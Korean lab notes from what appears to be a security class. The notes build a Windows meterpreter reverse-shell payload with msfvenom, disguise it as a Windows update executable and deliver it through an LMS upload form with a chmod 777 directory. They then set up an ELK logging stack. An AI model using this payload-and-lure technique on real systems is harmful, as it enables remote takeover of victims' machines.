-해커 메일 송신 정상화
> nano /etc/mail/access
> makemap hash /etc/mail/access < /etc/mail/access
> systemctl restart sendmail
-lms.st.kr 생성
kali에서 window로 들어갈 수 없으니 악성코드를 통해서 window 서버가 4444 포트로 나오게 유도.
교수님이 주신 lms.zip 파일 이용.
uploads 디렉터리 생성 > chmod 777 uploads
파일 업로드 기능 설정
form 태그의 속성에 enctype="" 속성이 꼭 들어가야 한다.
악성코드 생성
kali > msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=100.100.100.1 LPORT=4444 -b "\x00" -f exe > /home/kali/windows_update_20250114.exe
4444 포트오픈
> nc -l -p 4444
후 만들어진 windows_update_20250114.exe 파일을 업로드 하면 정상적으로 업로드 된 것을 확인할 수 있다.
window에서 파일이 정상적으로 다운받아진다.
다운로드 받은 파일을 실행하면
SELK
> netstat -ant | grep 5601
> netstat -ant | grep 9200
> nano /etc/elasticsearch/elasticsearch.yml
----Network----
#network.host: 192.168.0.1
주석 풀고 ip를 0.0.0.0으로 바꾸기
모든 호스트에서 접근가능하도록.
> systemctl start elasticsearch
(만약 오류나면 다시 elasticsearch.yml 파일 열어서
----Discovery----
discovery.seed_hosts
cluster.initial_master_nodes
두개 주석 풀기)
> curl -X GET "localhost:9200"
> systemctl enable elasticsearch
kibana
> netstat -ant | grep 5601
> nano /etc/nginx/sites-available/default
server{ } 안에 있는 모든 내용 주석처리 후 listen 80; 부터 새로 작성.
server {
listen 80;
server_name _;
location / {
proxy_pass http://localhost:5601;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}

systemctl reload nginx
systemctl restart nginx
systemctl enable nginx
systemctl start kibana
systemctl enable kibana
reboot
----
/var/log/apache2에 있는 access.log를 /backup으로 가져오기
win7에서 access.log 빼오기 (바탕화면 - log_www 폴더)
10.0.2.3 웹 > upload file > Visualize data from a log file에 access.log 파일 올리기
> Import > www_access_log > Import > View Index in discover
----
메인서버
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install filebeat
sudo apt -y install packetbeat
nano /etc/filebeat/filebeat.yml
SELK > systemctl start logstash (enable 하지 말기)
> netstat -ant | grep 5044
> cd /etc/logstash/conf.d
> nano input.conf
input{
beats{
port=>5044
}
}
> systemctl restart logstash
> nano output.conf
output {
}
> sudo -u logstash /usr/share/logstash/bin/logstash --path.settings /etc/logstash -t
> netstat -ant | grep 5044
포트 열림.